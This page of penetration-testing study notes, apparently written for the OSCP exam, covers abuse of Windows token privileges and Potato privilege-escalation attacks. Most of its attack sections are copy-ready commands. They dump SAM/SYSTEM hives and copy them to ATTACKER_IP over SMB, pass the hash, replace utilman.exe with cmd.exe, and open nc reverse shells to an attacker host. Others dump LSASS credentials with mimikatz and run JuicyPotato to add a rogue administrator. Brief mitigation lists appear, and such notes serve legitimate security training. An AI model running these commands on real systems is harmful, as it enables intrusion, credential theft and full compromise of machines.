Token Impersonation
Windows privileges are powerful rights assigned to user accounts that can be abused for privilege escalation. This document focuses on how to identify and exploit common Windows token privileges.
Understanding Windows Privileges
Each Windows user has a set of assigned privileges that control what system-level operations they can perform. These privileges are independent of regular file/object permissions and can often be abused to escalate to higher access levels.
Checking Privileges
To check the privileges assigned to your current token:
whoami /privThe output will show all privileges and their state (Enabled/Disabled). A privilege must typically be enabled to be used, but some exploits can enable disabled privileges.
Exploitable Privileges
The most commonly abusable privileges include:
SeBackupPrivilege
Allows reading any file
Extract sensitive files (SAM, SYSTEM)
SeRestorePrivilege
Allows writing any file
Replace system files
SeTakeOwnershipPrivilege
Take ownership of any object
Replace system executables
SeImpersonatePrivilege
Impersonate clients
Use for token impersonation attacks
SeAssignPrimaryTokenPrivilege
Replace process token
Similar to impersonation
SeLoadDriverPrivilege
Load and unload drivers
Load malicious kernel drivers
SeDebugPrivilege
Debug any process
Access restricted processes, read memory
SeCreateTokenPrivilege
Create tokens
Create custom privileged tokens
SeBackup / SeRestore Exploitation
These privileges allow reading and writing to any file on the system, ignoring DACLs.
Exploitation Steps
Verify privileges are present:
whoami /privBackup the SAM and SYSTEM registry hives:
reg save hklm\system C:\temp\system.hive reg save hklm\sam C:\temp\sam.hiveTransfer the hives to your attack machine using SMB or other methods:
# On attacker machine mkdir share python3 -m impacket.smbserver -smb2support -username user -password pass public share # On victim copy C:\temp\sam.hive \\ATTACKER_IP\public\ copy C:\temp\system.hive \\ATTACKER_IP\public\Extract password hashes using impacket:
python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCALUse the hashes for Pass-the-Hash attacks:
python3 -m impacket.psexec -hashes aad3b435b51404eeaad3b435b51404ee:HASH administrator@TARGET_IP
SeTakeOwnership Exploitation
This privilege allows taking ownership of any object in the system.
Exploitation Steps
Verify the privilege is present:
whoami /privTake ownership of a critical system file (e.g., utilman.exe):
takeown /f C:\Windows\System32\utilman.exeGrant yourself full permissions:
icacls C:\Windows\System32\utilman.exe /grant YourUsername:FReplace the file with a copy of cmd.exe:
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exeLock the screen and click the "Ease of Access" button to spawn a SYSTEM shell
SeImpersonate / SeAssignPrimaryToken Exploitation
These privileges allow a process to impersonate other users.
How Token Impersonation Works
In Windows, services often need to perform actions on behalf of users. The impersonation privileges allow a service to "borrow" the access token of a connecting user:
User authenticates to a service
Service with impersonation privileges can use the user's token
Service can perform actions with the user's security context
Common Vulnerable Accounts
LOCAL SERVICE
NETWORK SERVICE
IIS Application Pool Identities (e.g., "iis apppool\defaultapppool")
Exploitation with RogueWinRM
The RogueWinRM attack exploits the fact that the BITS service connects to port 5985 (WinRM) using SYSTEM privileges when started.
Verify impersonation privileges:
whoami /privSetup a listener on your attack machine:
nc -lvp 4442Run the RogueWinRM exploit:
RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"When the BITS service starts, it will connect to your fake WinRM service, allowing you to impersonate the SYSTEM user
Alternative: Potato Attacks
Several "Potato" attacks exist that abuse impersonation privileges:
JuicyPotato - Works on Windows 7, 8, 10, Server 2008, and Server 2012
RoguePotato - Works on newer systems with some adjustments
PrintSpoofer - Exploits the Print Spooler service
Example with PrintSpoofer:
PrintSpoofer.exe -i -c "cmd /c whoami > C:\temp\whoami.txt"SeDebug Exploitation
SeDebug allows you to debug any process, including those run by SYSTEM.
Exploitation Steps
Verify the privilege is present:
whoami /privUse mimikatz to extract credentials from LSASS process:
privilege::debug sekurlsa::logonpasswordsAlternatively, dump the LSASS process and analyze offline:
procdump -ma lsass.exe lsass.dmp # Transfer to attacker machine # mimikatz: sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords
Real-World Example: SeBackup / SeRestore
A server administrator created a "Backup Operators" group and added a user for backup purposes. This user had the SeBackup and SeRestore privileges.
Identify that we have the required privileges:
C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories DisabledExploit to extract registry hives:
C:\> reg save hklm\system C:\Users\BackupUser\system.hive The operation completed successfully. C:\> reg save hklm\sam C:\Users\BackupUser\sam.hive The operation completed successfully.Extract hashes and gain access:
# Extract hashes python3 secretsdump.py -sam sam.hive -system system.hive LOCAL # Use the Administrator hash for Pass-the-Hash python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.10.10
Mitigations
To protect against privilege abuse:
Limit the assignment of powerful privileges to only necessary users
Use Protected Process Light (PPL) for critical processes
Implement Just Enough Administration (JEA) for administrative tasks
Use Windows Defender Credential Guard to protect against credential theft
Regular audit privilege assignments with security baseline tools
Consider using AppLocker or similar to restrict execution of known exploitation tools
OSCP Notes
For the OSCP exam, focus on the following privileges:
SeBackup / SeRestore (registry hive extraction)
SeTakeOwnership (system file replacement)
SeImpersonate / SeAssignPrimaryToken (token impersonation attacks)
These attacks typically don't require complex tools, making them suitable for the exam environment.
The Potato Attacks (Hot Potato, Rotten Potato, Juicy Potato)
"Potato" attacks are a family of privilege escalation techniques that exploit Windows token impersonation to elevate privileges from a standard user to SYSTEM. These attacks leverage various Windows services and protocols to obtain a SYSTEM token that can be impersonated.
Hot Potato
Hot Potato (aka: Potato) is a technique that combines:
A local NBNS (NetBIOS Name Service) spoofer
A fake WPAD (Web Proxy Auto-Discovery) proxy server
NTLM relay attack
It exploits the way Windows resolves names through NBNS and how it uses WPAD for proxy discovery, combined with NTLM relay to elevate privileges.
Requirements for Hot Potato
Windows 7, 8, or early builds of Windows 10 / Windows Server 2016
Local administrator rights (to create the necessary sockets)
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
How Hot Potato Works
The attack tool starts a local NBNS spoofer that responds to broadcast NBNS queries
It also starts a rogue WPAD proxy server
When Windows tries to resolve the WPAD server (for proxy settings), the NBNS spoofer provides a response pointing to the attacker's machine
Windows attempts to connect to the fake WPAD server using NTLM authentication
The NTLM authentication attempt is relayed back to the local system, creating a SYSTEM token
Using SeImpersonatePrivilege, the attacker impersonates this token and executes commands as SYSTEM
Using Hot Potato
# Using the original Potato exploit
.\potato.exe -ip 127.0.0.1 -cmd "C:\Windows\System32\cmd.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
# Using Empire's implementation
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444
Import-Module .\Invoke-HotPotato.ps1
Invoke-HotPotato -Command "net user administrator P@ssw0rd123"Rotten Potato
Rotten Potato is an evolution of Hot Potato that focuses solely on the NTLM relay component. It exploits the DCOM (Distributed Component Object Model) service to force authentication and obtain a SYSTEM token.
Requirements for Rotten Potato
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
Works on Windows 8.1, 10, Server 2012, Server 2016
Using Rotten Potato
# From a command prompt with appropriate privileges:
.\rottenpotato.exe
# From Metasploit (after getting a meterpreter shell):
load incognito
execute -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"Juicy Potato
Juicy Potato is a further refinement that exploits the COM marshalling mechanism in Windows. It leverages the fact that some COM servers run as SYSTEM and allow for token impersonation.
Requirements for Juicy Potato
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
Windows versions before certain security patches (doesn't work on Windows Server 2019)
Using Juicy Potato
# Basic usage to launch cmd.exe as SYSTEM
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {C49E32C6-BC8B-11d2-85D4-00105A1F8304}
# Creating a new admin user
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123 /add && net localgroup administrators hacker /add" -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
# Getting a reverse shell
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64EncodedReverseShellCommand>" -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}Note: The CLSID (-c parameter) depends on the Windows version. A list of CLSIDs can be found in the Juicy Potato repository.
Sweet Potato
Sweet Potato combines techniques from both Rotten and Juicy Potato but works on newer Windows versions where Juicy Potato fails, including Windows 10 and Server 2019.
Using Sweet Potato
# Import the module
Import-Module .\SweetPotato.ps1
# Execute command as SYSTEM
Invoke-SweetPotato -Command "whoami > C:\temp\whoami.txt"PrintSpoofer and RoguePotato
These are newer alternatives when Juicy/Sweet Potato doesn't work:
# PrintSpoofer
PrintSpoofer.exe -i -c cmd
# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\Windows\System32\cmd.exe" -l 9999Mitigation Against Potato Attacks
To defend against these attacks:
Apply the latest Windows security updates
Restrict the assignment of SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege
Use Protected Users security group for sensitive accounts
Implement network segmentation to prevent NBNS/WPAD spoofing
Use WPAD Group Policy settings to disable automatic proxy discovery
Monitor for suspicious process creation and token manipulation events
OSCP Exam Notes
For the OSCP exam:
Hot Potato is useful for older Windows systems
Juicy Potato works well on Windows 7 through early Windows 10
Always check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege first
Have multiple versions of potato exploits ready
Document the specific technique and parameters used
Last updated